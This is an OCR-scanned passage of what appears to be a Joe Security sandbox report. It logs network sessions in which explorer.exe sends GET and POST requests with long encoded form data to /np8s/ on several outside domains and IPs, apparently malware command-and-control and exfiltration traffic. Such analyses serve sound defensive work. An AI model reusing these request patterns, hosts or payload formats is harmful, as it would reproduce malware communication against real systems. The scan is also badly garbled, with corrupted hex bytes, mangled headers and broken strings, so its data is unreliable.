48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3c 2f 61
3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</tittle></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/">here</a>.</p></body></htm|>
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Session ID Source IP
43 192.168.2.6
. kBytes
Timestamp transferred
May 27, 2022 892
19:07:36.982362986
CEST
May 27, 2022 894
19:07:37.152631044
CEST
Session ID Source IP
44 192.168.2.6
. kBytes
Tim m
cStamp transferred
May 27, 2022 904
19:07:42.182368994
CEST
May 27, 2022 905
19:07:42.203660011
CEST

Copyright Joe Security LLC 2022

Source Port

49882

Direction

ouT

Source Port

49884

Direction

ouT

Destination IP Destination Port Process

68.66.224.33 80

Data

C:\Windows\explorer.exe

GET /np8s/?3fk4doN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR 1w+rnfL4/weOtceqenlGY7vNOGaAQzxdf5zVwF

VA==&Eh=mhUx| HTTP/1.1

Host: www.getbusinesscreditandfunding.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently
Date: Fri, 27 May 2022 17:07:37 GMT
Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/?3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDw

R1w+rnfL4/weOtcegenlGY7vNOGaAQzxdf5zVwFvA==&Eh=mhUx|

Content-Length: 354
Connection: close
Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
7420 68 61 73 20 6d 6f 76 65 64 20 3¢ 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 3f 33 66 6b 34 6f 4e 3d 30
707074 67 71 70 30 4d 65 52 79 65 62 2f 39 6e 6d 75 64 6f 68 4f 4c 4b 71 34 75 32 6b 73 44 77 52 31 77 2b 72 6e 66 4c
34 2f 77 65 30 74 63 65 71 65 6e 6¢c 47 59 37 76 4e 4f 47 61 41 51 7a 78 64 66 35 7a 56 77 46 76 41 3d 3d 26 61 6d 70
3b 45 68 3d 6d 68 55 78 6¢ 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly<ftitte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/?3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weltceqenlGY7vNO

GaAQzxdf5zVwFvA==&amp;Eh=mhUxI">here</a>.</p></body></htm|>

Destination IP Destination Port Process

81.169.145.161 80

Data

POST /np8s/ HTTP/1.1

Host: www.xn--wsthof-camping-gsb.com
Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.xn--wsthof-camping-gsb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://www.xn--wsthof-camping-gsb.com/np8s/
Accept-Language: en-US

Accept-Encoding: gzip, deflate

C:\Windows\explorer.exe

Data Raw: 33 66 6b 34 6f 4e 3d 36 50 59 59 32 35 41 38 67 69 31 56 50 41 78 37 71 38 71 74 49 58 58 64 72 4f 73 39 35
50 68 32 58 64 62 7a 44 72 76 2d 6e 75 58 48 7e 68 55 51 4c 59 6e 6d 54 67 36 6a 69 38 74 4f 6f 6f 35 75 36 46 70 62 6b
6C 38 74 7a 47 62 35 61 4b 77 58 66 74 70 39 57 6e 30 4f 49 70 33 48 47 4c 79 76 69 73 4e 6a 56 33 57 41 74 55 6f 38
66 4e3172756d 71543276 717849 6b 79 6e 28 71 4d 38 72 77 77 44 6f 4c 73 4a 67 4d 33 32 37 79 73 45 45 41 36
69 57 4c 6e 4b 55 78 65 75 6¢ 65 6b 71 43 4b 51 76 59 30 4b 74 5a 56 4a 74 58 4e 57 42 50 7a 46 76 76 4b 38 69 51 48
61 63 76 79 6e 32 41 37 41 70 52 6d 7e 56 72 49 4c 33 32 71 46 44 6e 57 6b 77 31 51 59 74 42 5f 68 4d 78 33 4b 74 7e
6e 36 52 46 4c 74 57 68 31 53 37 36 2d 39 51 75 7a 62 70 34 34 53 5a 42 57 33 64 58 49 46 65 62 31 30 35 30 70 45 41
5a 48 66 62 38 72 71 47 51 78 70 47 49 6e 52 79 62 31 43 6f 65 31 6a 48 52 76 62 50 57 6a 51 49 71 52 6e 36 63 48 66
5f 73 6a 7e 6e 28 6b 68 66 33 6¢ 79 4e 28 51 4b 46 62 4f 4c 7a 73 5a 4c 4e 4b 4d 58 75 52 36 74 31 7e 34 54 6¢ 57 57
6c 6b 73 78 67 73 6b 4a 78 72 34 48 75 72 6f 78 44 41 37 62 74 41 37 59 6a 48 73 4d 4a 48 79 4d 64 49 44 77 68 78 4e
39 75 6f 43 34 35 78 4b 35 54 5a 41 62 4e 75 30 4e 4b 39 46 4d 4a 6b 51 74 45 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=6PYY25A8gi1VPAX7q8qtIXXdrOs95Ph2XdbzDrv-nuXH~hUQLYnmTg6ji8tOoo5u6Fpbki8tzGb5aKwXf
tpOWnOOIp3HGLyvisNjV3WAtUo8fN1rumqgT2vaxlkyn(gM8rwwDolLsJgM327ysEEAGIWLNKUxeulekqgCKQVYOKtZVJ
IXNWBPzFvwK8iQHacvyn2A7ApRm~VrIL32gFDnWkw1QYtB_hMx3Kt~n6RFLtWh1S76-9Quzbp44SZBW3dXIFeb1050
pPEAZHfb8rgGQxpGInRyb1CoeljHRVbPW|QIgRn6cHf_sj~n(khf3lyN(QKFbOLzsZLNKMXuR6t1~4TIWWIksxgskJIx

r4HuroxDA7btA7YjHsMJIHyMdIDWhxN9uoC45xK5TZAbNUONKOFMJIKQLE.

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:07:42 GMT
Server: Apache/2.4.53 (Unix)
Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>

<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
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kBytes

Timestamp transferred
Session ID Source IP
45 192.168.2.6

. kBytes
LHIEEET transferred
May 27, 2022 918
19:07:42.203752041
CEST

Copyright Joe Security LLC 2022

Direction

Source Port

49885

Direction

ouT

Data
Destination IP Destination Port Process
81.169.145.161 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.xn--wsthof-camping-gsb.com
Connection: close
Content-Length: 36488
Cache-Control: no-cache
Origin: http://www.xn--wsthof-camping-gsb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.xn--wsthof-camping-gsb.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 33 66 6b 34 6f 4e 3d 36 50 59 59 32 38 34 32 6¢ 54 59 4a 46 77 4e 59 74 4f 61 35 52 30 66 66 6e 65 6f 69 6e
2d 68 54 54 6f 28 4e 65 5f 6a 70 32 63 47 43 7a 78 4a 77 42 2d 33 49 54 68 4b 5a 6f 5a 46 4b 69 6f 6¢ 74 36 42 4e 35 6b
6C 347479 47 7a 70 61 73 68 4d 62 34 31 79 51 48 31 31 5a 5a 32 5a 43 4b 76 39 69 73 59 32 56 33 65 51 74 45 38 38
65 76 64 72 6f 6e 72 66 34 76 72 34 41 45 43 37 37 71 51 68 72 7a 41 62 6f 4f 55 4a 68 38 4c 32 36 54 63 62 54 54 69 6¢
4a 37 6e 4c 52 78 66 36 73 37 38 2d 43 4b 45 52 59 32 4f 74 5a 6d 74 74 57 63 32 42 62 51 74 73 33 4b 38 6e 55 48 61
62 7279 72 6e 41 37 63 31 52 6b 53 76 72 35 28 33 33 61 46 43 67 46 31 4e 77 48 4e 72 48 5f 46 72 78 33 50 78 7e 32
6d 7a 46 4b 41 33 32 58 62 50 7e 63 45 46 75 31 43 79 36 59 53 6e 4b 32 33 43 58 49 46 2d 62 31 30 48 30 70 30 41 5a
46 28 62 7e 4f 4f 47 53 42 70 48 55 58 52 39 44 6¢ 43 6e 61 31 76 65 52 76 53 77 57 68 52 64 71 6a 48 36 63 55 6e 5f
38 79 7e 67 33 55 68 6a 37 46 7a 4b 37 51 4c 4c 62 4f 4c 46 73 64 66 64 4a 39 48 75 58 2d 35 31 7a 36 37 6¢ 55 6d 6¢
6b 69 52 67 75 76 70 39 37 34 48 32 56 6f 77 7a 32 34 71 6¢ 41 7e 65 33 48 73 70 39 48 7a 63 64 49 59 41 67 50 4f 38
66 77 48 61 46 32 42 37 7a 76 64 35 6¢ 6b 75 38 48 78 47 70 4e 42 4b 36 59 50 67 70 30 4b 45 51 57 57 39 77 50 31 64
7175 77 6¢ 5a 4d 6d 56 30 49 34 28 6e 50 56 5a 4d 44 69 77 47 43 76 6d 32 6a 54 55 34 73 58 49 4c 66 53 67 7a 65 44
57 64 64 5f 71 6a 48 73 44 36 6b 42 36 33 61 53 35 73 53 37 4d 4e 31 48 7e 70 31 31 78 67 6d 7a 56 56 33 69 6¢ 6f 43
5f 7a 63 64 62 41 41 48 57 41 35 46 61 4a 75 59 46 31 6a 72 65 68 30 58 4e 4d 79 67 78 4b 31 77 4c 5a 66 42 53 4f 2d
6e 79 5a 76 43 56 6e 37 43 54 6f 58 38 59 78 75 71 33 67 50 63 36 70 75 55 4a 6b 46 45 52 48 53 56 6b 52 70 44 51 4a
68 59 73 66 76 4c 54 61 54 50 75 75 44 36 71 32 62 45 49 32 7a 30 6¢ 31 6b 56 57 61 39 70 73 72 65 69 61 74 6e 67 59
74 59 33 47 6b 33 4d 34 52 71 30 2d 28 32 47 47 74 79 31 50 69 35 4d 68 51 4f 76 30 6¢ 4d 57 44 56 6a 50 52 78 61 74
5a 58 34 48 72 57 4a 54 36 69 65 43 75 62 74 49 4c 4f 78 49 36 41 65 53 47 48 70 39 6d 66 49 52 49 7e 46 73 6¢ 41 75
7839 57 48 70 63 67 36 41 47 5a 6¢ 41 42 74 34 39 64 59 57 77 75 39 39 39 4d 28 6f 4f 74 38 47 71 49 6e 42 67 59 30
73 68 78 6e 54 70 4b 35 39 4a 76 39 7a 55 72 6b 64 34 46 6¢ 61 54 30 5a 4f 62 57 58 57 48 64 5a 68 59 46 57 5a 62 66
4f59 70 39 38 56 43 74 67 73 38 52 39 5a 7a 4e 4d 64 57 4e 6d 4f 32 34 33 6d 7a 69 50 6¢ 5a 78 58 67 4e 76 59 32 76
6¢ 37 6¢ 6b 79 32 4a 55 35 6b 50 79 4b 4f 41 44 6a 67 71 43 31 49 6d 7a 47 4b 2d 76 75 63 37 56 62 79 66 72 34 69 45
59 34 6e 4c 31 61 71 5a 5a 76 4c 57 67 64 45 73 32 30 32 6e 4f 73 31 49 44 48 79 4a 68 34 6¢ 56 75 6¢ 39 78 52 4f 78
4b 66 68 36 37 32 70 44 33 69 49 7a 43 67 51 5a 42 4b 67 78 57 75 46 30 77 71 64 64 36 61 71 57 41 66 43 55 6d 4b 75
56 67 6f 47 4e 76 5a 78 63 4c 31 53 4e 64 31 72 63 6a 47 5f 4d 64 62 5a 54 74 56 4c 38 49 36 3149523379 7577 77
4d 65 52 77 47 70 4a 56 61 54 74 30 65 4b 77 28 33 54 63 51 6a 57 32 47 75 41 37 53 6f 36 6d 42 39 6a 2d 46 47 74 5a
41 48 68 56 5a 73 39 45 55 74 6e 65 45 38 31 2d 49 48 73 34 66 72 59 65 4d 72 77 4a 47 69 6f 77 70 37 57 47 6b 68 73
7179 63 74 54 4f 79 6¢ 37 61 73 33 61 39 30 49 45 67 4d 57 75 42 52 4c 68 41 37 72 37 49 62 71 30 4f 77 48 5f 4d 39 52
61 34 71 76 64 42 45 6a 66 49 47 57 55 73 54 49 65 75 5f 59 30 32 2d 62 4d 64 69 63 63 61 32 48 5a 77 33 44 39 53 70
3864 36 63 74 4d 36 73 51 54 77 30 33 63 28 65 56 38 4d 38 76 47 61 71 74 50 46 78 79 4b 5a 46 7e 2d 62 50 54 61 28
7044 3554 78 76 6¢ 59 6f 62 77 6b 72 28 39 54 56 49 6d 55 4a 50 6b 74 69 65 62 4a 30 70 30 6¢ 51 66 71 6d 55 6e 56
55 5a49 72 38 61 32 67 64 64 39 37 67 58 44 52 44 4e 76 4b 77 45 6¢ 33 6a 46 6a 62 66 2d 47 38 48 47 4f 37 34 78 6d
55 28 5a 4f 6e 6b 57 6¢ 53 47 6a 39 52 48 43 4e 75 70 50 7a 4e 30 5a 68 41 28 4c 36 72 6d 74 6a 71 33 4e 64 34 41 4f
76 4e 30 61 4a 6a 61 68 7a 49 41 6f 57 4e 32 4d 77 53 44 69 28 37 6b 4c 44 39 33 54 55 59 54 78 54 2d 33 52 6f 5a 37
62 6d 50 30 37 48 30 63 45 49 58 49 53 52 2d 70 48 79 43 31 48 75 61 4d 65 6d 56 41 75 68 56 71 4d 36 68 64 53
Data Ascii: 3fk4oN=6PYY2842ITYJFwWNYtOa5R0ffnecin-hTTo(Ne_jp2cGCzxJwB-3IThKZoZFKiolt6BN5kl4tyGzpashMb
41yQH11ZZ2ZCKv9isY2V3eQtE88evdronrf4vr4AAEC77qQhrzAboOUJh8L26 TchTTilJ7nLRxf6s78-CKERY20tZmt
tWc2BbQts3K8nUHabryrmA7c1RkSvr5(33aFCgFINWHNIH_Frx3Px~2mzFKA32XbP~cEFu1Cy6YSnK23CXIF-b10HO
pPOAZF(b~OOGSBpHUXRIDICnalveRvSWWhRdgjH6cUn_8y~g3Uhj7FzK7QLLbOLFsdfdJ9HUX-51z671UmlkiRguvp9
74H2Vowz24qlA~e3Hsp9Hzcdl Y AgPO8fwHaF2B7zvd5Iku8HXGpNBK6Y PgpOKEQWWIwWP1dquwlZMmVOI4(nPVZMDiw
GCvm2jTU4sXILfSgzeDWdd_gjHsD6kB63aS5sS7MN1H~p11xgmzVV3iloC_zcdbAAHWASFaJuY F1jrehOXNMygxKiw
LZfBSO-nyZvCVn7CToX8Yxuq3gPc6puUIKFERHSVKRpDQJhYsfvLTaTPuuD6q2bEI2z0I1kVWa9psreiatngYtY3Gk
3M4Rq0-(2GGty1Pi5MhQOVOIMWDVjPRxatZX4HrWJT6ieCubtILOXI6Ae SGHpIMfIRI~FsIAux9WHpcg6AGZIABt49
dYWwu999M(00t8GqInBgY0shxnTpK59Jv9zUrkd4 FlaTOZObWXWHAZhYFWZbfOYp98VCtgs8RIZzNMdWNmMO243mziP
1ZxXgNvY 2vI7lky2JU5kPyKOADjgqC1imzGK-vuc7Vbyfr4iEY4nL1aqZZvL WgdEs202nOs1IDHyJh4IVul9xROxXKf
h672pD3ilzCgQZBKgxWuF0wqdd6agWAFCUmMKuVgoGNvZxcL1SNd1rcjG_MdbZTtVL8I61IR3yuwwMeRwGpJVaTt0eK
W(3TcQjW2GuA7S06mB9j-FGtZAHhVZs9EUtneE81-IHs4frYeMrwJGiowp7WGkhsqyctTOyl7as3a90lEgMWuUBRLhA
7r7Ibq0OwWH_M9Ra4qvdBEjfIGWUsTleu_Y02-bMdicca2HZw3D9Sp8d6ctM6sQTwO03c(eV8M8BvGaqtPFxyKZF~-bPT
a(pD5TxvIYobwkr(9TVImUJPktiebJOpOIQfgmUnVUZIr8a2gdd97gXDRDNVKWEI3]Fibf-GBHGO74xmU(ZOnkWISG
J9RHCNupPzNOZhA(L6rmtjg3Nd4AOvVNOaJjahzIAOWN2MwSDi(7kLD93TUY TXT-3R0Z7bmP07HOCEIXISR-pHYC1Hu
aMemVAuhVgM6hdSVOsIOAFIY7y_YThX9rlf(ACKko5WV821vVg6KhM4V0eQkZ63SLpC7-xGuaJP7buAC-ZodreCf3J
RquOALV9~quv101(fWSaONICsxOWthh(ATSNOSDMdUNf7(KDrKEGdzObqucMqudDkaPwXMUBVISRemeNI?
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Timestamp

May 27, 2022
19:07:42.242340088
CEST

Session ID

46

Timestamp

May 27, 2022
19:07:42.223045111
CEST

May 27, 2022
19:07:42.243652105
CEST

Session ID

5

Timestamp

May 27, 2022
19:05:18.028729916
CEST

kB!
vtes Direction
transferred
942 IN
Source IP Source Port
192.168.2.6 49886
kB!
P Direction
transferred
941 ouT
943 IN
Source IP Source Port
192.168.2.6 49783
kB
ytes Direction
transferred
183 ouT

Copyright Joe Security LLC 2022

Destination IP

81.169.145.161 80

Destination IP

23.19.171.24 80

YyqaTCB9UDvOLgD9bHXMIuThmay~vFK~QDObj~bYiVR8]EOPXOXbJvic_lifgOaHFUkaMfhKiV71FGDozol0Px70Vt
BG?OJiXmepSpVQjIsJSOZUWROIxu~_I2th2LUGCKXE7OM7wVC32TZk92h81WrmUnbsuoxxJ KuZ4z4qEDF4h5HmMpM
kP8jv4QqRs-cYyftzUOz24YYh3H1TzdURrSqWx2JX165U4VM9~xaMhL39UAVP8vxnQjJB(lbs1mjEJObo4oD_zpGcet
ROcmGi1(R4SX9Ttxn(Mmeb4I8YTQhyrxr2vAtHe2aXQZBIZpgmOXyK _lga_cpve95lab2QfMhghTCaORiskXWylzuP
FEgT20MUTLPToTaKs2cfyqtdyNES0CJ8EIdcKM1YK1ZPcx4vZboTLeezOpbe89DY SKb4xLDoHXTHwY9fMM5(aPD1n5
7hlmacJEUtMnOBQv4nfXEUQdZiL6Ur3LBUrvbsZMiFa5uU72dA-yT5f2dHX2Yhj4gGoW_wLhe~JzTn9JD(b3TiQwd8
88vIfZVhSy_G2FiDRO1hPPGS4LHQAsbR-UQAuUTsV2jFx3JaLeYZ~CwH7I1r8m(qldexwswflIFGsd-tjh2WGRIpBGGZ
lopp7gWitpEmyJICkHhab8eQu~KVEF8V_TiOiLzGQH467Eb5rAtbHpVEdX3wnbsGmOy0GNIebU_GLgENuX54c7-IAx
Zx5AlczaCy8kdb9Doen12a8UTTIS_aelUWTRTRJIKpSUEAT_xNAFRFSCUVUOKZelCdW8sFgTdYSIGj(4H2AXYEO_kAT
ImgJu~2C8duKt0ZECdI(tkY 1BrMy3yvwzgDaZLBFBE35zr51NfxYGpLQIX_pZ(tfNVsonlSicEAorFmwTu8rh76vOl
iIFGbN8T5IxIJizLjLnHYz5mSUHqqRTjqUxnr66wPY UrJr2J6x1Zfts3FTXYRD1v364lQ6VfsDX6a4h0z1RXEvVPhXXhhQ-
VKg_OkQXz_wTaRR8yHFdGRkwV4002vxEiBEwlvuvv2majO9D5_7S41QcDj4Rcmx131goegHs8HWFMIfnn6lQ7ctASBo-
tNIN4DzZ(hOw5cQ8fLmgUMzeYrD69p2NCNx31Wt_7f3zuKXo7bdqKWIzu98oGEP7YfVSkISNN7IEaYSAFRV1e
4gCsAphHGqdP2mxFlaBFmncy4AMWt2DW7Z~PPX6wggBLag1M7yD1xjotRn5rbbw8hTNM71aj94J15Wj3CuZ3L1423c0
p8v7CXTDfHpWf3dTmmLM306QATvakVkxoiyxJRucgcvXNSmsxPdY-ayEj3VnTGaoo98WVmKtumW9qgc7akAlJfFRtVY
9JtGddpHYn8tubsLKXSAHmMcCzleb29xcL5BHMIR6QjUlpa9a4dalCliGxhp2000G3alN5ZqotPN4Ysanmmy2pwQtlS
IHBYEmvYCcn~7MYGwS2VIUgsBlyg9NV7ITEAKNTIzUbtT6aE3Cz3CYKdjFMPWCAhfO_IFG841MZb8gcSFY4QQN29HO
m6LbBctnQh719YRTMUDLSHQKVWOZKNKPNdyRoiL2JwGfiQhTwzV6ROIMbGYEPT1JIFP0-eJzacq9MITCUATAWZAxUo
RYUJUFF(wIgZ5FBRWi_1zWe5mZqtUxh2U6zPnpEYuUfd_JuitO_T335ESmSN]ZOrPBVEhAY|55V7IvMu6TSpwE2tQu
UgOmnl8r-02IM4UNyQbrgmByC4sFlvuHpGWm2r6chK-kthDgZS8bsNh7XIPoGgfj-~hpiYfIyLXg-j06xpFfKJIplgFphF5ZiEajl
E5WAzmOLs5KRx(DzoSN8UpBN3i3rslOhcAbG61DIC8xd_19aViPg3Qx~VQP8D5NiIMD64yOQem~G63kLv8OBKiaQH87
MFRsmM7UOLWO3iAHCeYkg6bGK5c-BPRVYKM1BdrfMVZVRyVhOugrR4UeFOTstGiTZUJ44Tk4QIEEIECOIVDIXPKUpVi
WtC7JBkuwy5P2XGxn5ZZHN_1Y5WuWVNNi3BZMHJIlve SaZm3TEU2G5DK7vX4sx4hclHX25q37B7sjfZdczOQeBVEIIW
W63SGB4fRgAtMTjox9pnm4G86MVMO990_IKvWhiOgdjQyletRUEjyA2tIUOfT7HVP2Q1ybTdSgQORCszKFKbxPbCtx
CcCfTArL3_pzTwTfLyfNO-rBPwMyjnoiveQpoLb_nmrCEVMHLzh4QcwzI9Y0OpLU9fSKs5AvYia2uODKVcNDxHvgyhl
YZ7uBvjXjXzZqV3iNVyzK~WkgRf3R0sHbPs6FIrCVx_d512a0rDzPglVLaghVwQJTMeOAwWPVUTpxl4tzPLKE6JgcNz
2~00CVWwnA4vh3BZKrZrwfXvYZRGKsze FGwI9IJHONLNGMNIqOThjY2N5DRbpQX0SLtFOcjVEJ2gL60ilu(VIYCHILN
AOjFFdEH6BQY90zp8xrOmPOShI-GNUJULLV9tG7tsXoBSXyPxSaEz6pPfNW72DgUpo8Y-9yfoVMF_cfOezxgts-3scn~f~-
0z09~rXKN3MxmwyG1Htr(J3

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:07:42 GMT

Server: Apache/2.4.53 (Unix)

Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?3fk4doN=1NsiocOlpQImfCEv7q3CJIRvbkNIovwwFEONaUY8zyneWF7ypKO8Ggemnlz/Jz3qNJORZyolUF
0g==&Eh=mhUx| HTTP/1.1

Host: www.xn--wsthof-camping-gsb.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:07:42 GMT

Server: Apache/2.4.53 (Unix)

Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.harmlett.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.harmlett.com

llear-Anent: Mazilla/& 0 (\Windawe NT 10 0 WinR4: vRA: Trident/7 0 nr11 0V like Gacka
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Direction

U A I YA e Y Y IS YYD Y 1 ST VY IOy ATy I I § U 1 Vi) TS AU

ﬁontent—Type: application/x-www-form-urlencoded
ccept: */*

Referer: http://www.harmlett.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 49 64 53 47 7a 46 6e 5a 31 34 74 56 71 46 68 32 69 78 7a 4d 74 53 4d 50 33 35 79 47
284377 51 4e 50 42 58 61 68 4a 42 7a 77 72 2d 54 66 37 62 39 45 63 4d 36 50 38 44 30 46 75 35 35 73 78 68 62 62 49
45 54 5f 4b 32 68 46 57 6d 69 6a 28 79 41 44 35 58 71 49 44 6f 55 44 52 5f 76 69 38 6f 61 4b 51 72 67 6¢ 7e 51 6d 39 36
31 4a2d 42 65 76 31 38 48 6e 70 6b 38 53 74 66 4a 79 4b 73 4c 6f 6f 7a 50 45 5a 34 32 75 6e 77 52 54 63 7a 6d 62 36 6
8 73555452 3557 47 73 4a 41 4d 4b 6e 34 62 4f 6d 30 7a 65 56 4f 32 48 5a 34 4f 5a 51 4f 2d 71 67 45 43 32 77 6f 6a 5
364 37 34 6¢ 68 56 4c 6¢ 78 79 6a 66 5a 4e 5a 7a 63 44 48 58 70 38 77 6¢ 31 70 75 48 41 67 6¢ 4f 30 37 7a 52 38 7a 38
3543713948 3066 67 6e 66 36 38 61 46 38 48 69 64 43 42 41 56 49 74 53 61 43 52 73 57 66 66 55 31 64 5f 4c 49 78
73 7e 54 58 57 7a 34 62 6d 7a 79 44 50 76 72 66 49 36 41 33 2d 65 71 77 39 56 6a 64 2d 7e 71 68 58 4d 77 4c 69 65 67
